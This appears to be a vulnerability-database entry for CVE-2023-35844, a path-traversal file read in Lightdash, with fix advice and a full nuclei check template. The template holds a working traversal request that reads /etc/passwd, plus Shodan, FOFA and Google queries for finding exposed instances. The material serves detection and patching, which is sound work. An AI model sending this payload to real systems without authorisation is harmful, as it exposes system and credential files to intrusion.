Browse / CVEs / CVE-2023-35844
CVE-2023-35844· lightdash / lightdash· CWE-22
Lightdash version <= 0.510.3 Arbitrary File Read
highseverity
7.5CVSS score
6.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
packages/backend/src/routers in Lightdash before 0.510.3 has insecure file endpoints, e.g., they allow .. directory traversal and do not ensure that an intended file extension (.csv or .png) is used.
Impact
The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database credentials, and other confidential data.
Fix
Upgrade Lightdash to a version higher than 0.510.3 to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd
Positive when: matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2023-35844 -u <target>
The full check
id: CVE-2023-35844
info:
name: Lightdash version <= 0.510.3 Arbitrary File Read
author: dwisiswant0
severity: high
description: |
packages/backend/src/routers in Lightdash before 0.510.3
has insecure file endpoints, e.g., they allow .. directory
traversal and do not ensure that an intended file extension
(.csv or .png) is used.
impact: |
The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database credentials, and other confidential data.
remediation: |
Upgrade Lightdash to a version higher than 0.510.3 to mitigate the vulnerability.
reference:
- https://advisory.dw1.io/59
- https://nvd.nist.gov/vuln/detail/CVE-2023-35844
- https://github.com/lightdash/lightdash/commit/fcc808c84c2cc3afb343063e32a49440d32a553c
- https://github.com/lightdash/lightdash/compare/0.510.2...0.510.3
- https://github.com/lightdash/lightdash/pull/5090
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-35844
cwe-id: CWE-22
epss-score: 0.06344
epss-percentile: 0.93691
cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: lightdash
product: lightdash
shodan-query:
- title:"Lightdash"
- http.title:"lightdash"
fofa-query: title="lightdash"
google-query: intitle:"lightdash"
tags: cve,cve2023,lightdash,lfi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200References
- https://advisory.dw1.io/59
- https://nvd.nist.gov/vuln/detail/CVE-2023-35844
- https://github.com/lightdash/lightdash/commit/fcc808c84c2cc3afb343063e32a49440d32a553c
- https://github.com/lightdash/lightdash/compare/0.510.2...0.510.3
- https://github.com/lightdash/lightdash/pull/5090
Use this check only on systems you are authorised to test. Where the data comes from